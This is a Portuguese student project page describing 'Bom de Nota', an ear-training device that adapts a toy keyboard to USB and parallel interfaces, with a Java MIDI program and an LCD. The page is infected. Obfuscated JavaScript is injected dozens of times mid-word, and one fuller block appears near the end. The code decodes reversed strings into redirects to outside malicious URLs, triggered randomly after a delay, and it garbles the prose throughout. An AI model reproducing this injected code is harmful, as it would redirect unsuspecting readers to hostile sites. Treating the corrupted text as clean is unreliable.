Bom De Nota

O projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to “Bom de Nota” foi criado com o objetivo de auxiliar pessoas que estejam iniciando sua vida musical, no sentido de ajudar a aprender a identificar notas musicais através do ouvido.

CONTEÚDO:
O projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to bom de nota constitui-se de uma interface de comunicação com o usuário (o teclado) que comunica-se com o PC através das interfaces USB e paralela, gerenciado por um programa escritoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to em Java. O esquema idealizado pela equipe pode ser visualizado através do esquema disponível na seção de anexos.
Para construir o teclado, foi preciso adaptar um teclado musical de brinquedo num circuitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de teclado convencional USB. O esquema de envio de dados em um teclado convencional segue uma lógica matricial de linhas e colunas, na qual cada tecla corresponde a uma posição na matriz. A adaptação consistiu em soldar os receptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tores das teclas musicais em uma respectiva posição na matriz, fazendo com que, ao pressionar uma tecla musical, fosse enviado um sinal correspondente ao caractere da respectiva posição na matriz para um teclado convencional.
Independentemente ao circuitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do teclado está o circuitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do visor LCD. Utilizamos, para o presente projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to um circuitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to prontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, já adaptado à interface paralela. Foi preciso apenas, portantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, adaptar a caixa acrílica do teclado para que este comportasse também o visor LCD.
Finalmente, foi escritoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to um programa em Java que executa toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toda a lógica do projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to: através das classes de gerenciamentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de MIDI, randomização de valores, comunicação paralela e outras classes implementadas pela equipe, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}todas em Java, foi possível implementar um programa que, a partir de um valor randômico (cujos limites são as notas disponíveis no teclado de brinquedo), emitisse uma nota específica da escala diatônica que deveria ser interpretada pelo usuário. Este, daria seu palpite pressionando a tecla correspondente no brinquedo e o programa, ao receber o sinal (que, como já explicitado nada mais é do que um caractere de teclado), avalia se o usuário conseguiu adivinhar a nota correta. O programa utiliza também um timer, que limitará o tempo disponível para que o usuário adivinhe a nota.

MATERIAIS:
LCD 16×2;
1 – conectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor DB25 macho;
1m – cabo flat 16 vias;
teclado musical de brinquedo – Marca Feng YUAN – Modelo Fashion Keyboard
regulador de tensão 5V;
potenciometro 10 k;
4 – pilhas AA;
placa de acrilico 10x5cm;

 
Equipamentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to:

alicate de bico;
alicate de corte;
ferro de solda;
arame de solda;
isolante alta fusão;
fita crepe;
Chave philips;
tesoura;
estilete;
micro retífica com mini disco de corte;

CONCLUSÃO:
O grupo entende que este foi um projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to bastante simples de ser implementado. A escolha da linguagem Java para programação foi estratégica, pois faz parte do conteúdo do PA de Estruturas de Dados e também porque a API Java possui uma série de classes prontas para execução dos mais variados intentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos. Uma pesquisa na Internet nos revelou milhares de formas de se desenvolver o projetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, porém a mais simples e eficaz envolvia o uso das classes Synthesizer e MidiChannel, que contém uma série de implementações específicas para emissão de sinais MIDI, podendo-se, inclusive, escolher o instrumentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a ser toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tocado.
O programa implementado, apesar de simples, é bastante versátil. As classes padrão utilizadas foram apenas para a emissão do sinal MIDI. O restante da implementação do código foi feitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pela equipe, que se preocupou em criar um código que comporte eventuais modos de jogo para o futuro, sendo que a seleção dos modos de jogo seria feita a partir da combinação de teclas. Tudo o que acontece no jogo pode ser monitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torado pelo visor LCD, de forma que, futuramente, poder-se-ia implementar toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}todo o código em um micro-controlador (substituindo Java por C, por exemplo, ou de tantas outras formas), dispensando o uso de um PC e viabilizando a produção comercial de um brinquedo simples, divertido e educativo.
Obviamente, por questões de tempo, foi implementado apenas o modo mais simples de jogo, mas a adaptação para futuros modos pode ser feita de forma muitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to fácil e rápida, pois o código (apesar de ainda não estar comentado), possui grande clareza.
O maior desfio foi desenvolver uma forma de enviar strings para o LCD através do mesmo programa em Java, pois a comunicação paralela, já meio em desuso ultimamente, não possui tantas aplicações em Java. Contoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tornado este problema, restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tou apenas a montagem do circuitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, o que, na verdade, foi a primeira tarefa finalizada pela equipe.

$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tores>AUTORES:
– André da Silveira Ambrosio
– I Jen Fan
– Juliano Bortoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolozzo Solanho
– Sérgio Kenzo Wojitani

CONTATO:
– andre.ambrosio@gmail.com
– i.j@pucpr.br

DOCUMENTAÇÃO:
200.pdf

IMAGENS: